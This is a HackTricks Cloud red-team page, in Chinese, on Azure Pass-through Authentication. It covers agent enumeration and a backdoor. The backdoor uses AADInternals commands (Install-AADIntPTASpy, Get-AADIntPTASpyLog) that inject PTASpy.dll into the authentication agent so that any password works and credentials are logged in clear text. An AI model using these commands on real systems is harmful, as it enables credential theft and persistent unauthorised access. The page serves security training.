Az - PTA - Pass-through Authentication
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
基本信息
来自文档: Microsoft Entra 透传身份验证允许您的用户使用相同的密码登录本地和基于云的应用程序。此功能为您的用户提供了更好的体验 - 记住的密码减少了一次,并且降低了 IT 帮助台的成本,因为您的用户不太可能忘记如何登录。当用户使用 Microsoft Entra ID 登录时,此功能会直接针对您的本地 Active Directory 验证用户的密码。
在 PTA 中,身份是同步的,但密码不像 PHS 那样。
身份验证在本地 AD 中验证,与云的通信由在本地服务器上运行的身份验证代理完成(它不需要在本地 DC 上)。
身份验证流程
.png)
- 为了登录,用户被重定向到Azure AD,在这里他发送用户名和密码
- 凭据被加密并放入 Azure AD 的队列中
- 本地身份验证代理从队列中收集凭据并解密它们。这个代理被称为**“透传身份验证代理”或PTA 代理**。
- 代理将凭据与本地 AD进行验证,并将响应****返回给 Azure AD,如果响应是积极的,完成用户的登录。
Warning
如果攻击者破坏了PTA,他可以查看队列中的所有凭据(以明文形式)。
他还可以验证任何凭据到 AzureAD(类似于 Skeleton key 的攻击)。
枚举
来自 Entra ID:
az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
# Example response:
{
"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())",
"value": [
{
"agents": [
{
"externalIp": "20.121.45.57",
"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c",
"machineName": "ConnectSync.hacktricks-con.azure",
"status": "active",
"supportedPublishingTypes": [
"authentication"
]
}
],
"displayName": "Default group for Pass-through Authentication",
"id": "d372d40f-3f81-4824-8b9e-6028182db58e",
"isDefault": true,
"publishingType": "authentication"
}
]
}
检查代理是否在本地服务器上运行:
Get-Service -Name "AzureADConnectAuthenticationAgent"
Pivoting
如果您对运行 PTA agent 的 Azure AD Connect server 拥有 admin 访问权限,您可以使用 AADInternals 模块来 插入后门,该后门将 验证所有输入的密码(因此所有密码都将有效用于身份验证):
Install-Module AADInternals -RequiredVersion 0.9.3
Import-Module AADInternals
Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file
Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text
Remove-AADIntPTASpy # Remove the backdoor
Note
如果安装失败,这可能是由于缺少 Microsoft Visual C++ 2015 Redistributables。
这个后门将会:
- 创建一个隐藏文件夹
C:\PTASpy - 复制
PTASpy.dll到C:\PTASpy - 将
PTASpy.dll注入到AzureADConnectAuthenticationAgentService进程中
Note
当 AzureADConnectAuthenticationAgent 服务被重启时,PTASpy 会被“卸载”,必须重新安装。
Caution
在云中获得GA权限后,可以注册一个新的PTA代理,并且可以重复之前的步骤使用任何密码进行身份验证,并且以明文获取密码。
Seamless SSO
可以使用 PTA 的 Seamless SSO,这对其他滥用是脆弱的。请查看:
References
- https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta
- https://aadinternals.com/post/on-prem_admin/#pass-through-authentication
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
HackTricks Cloud

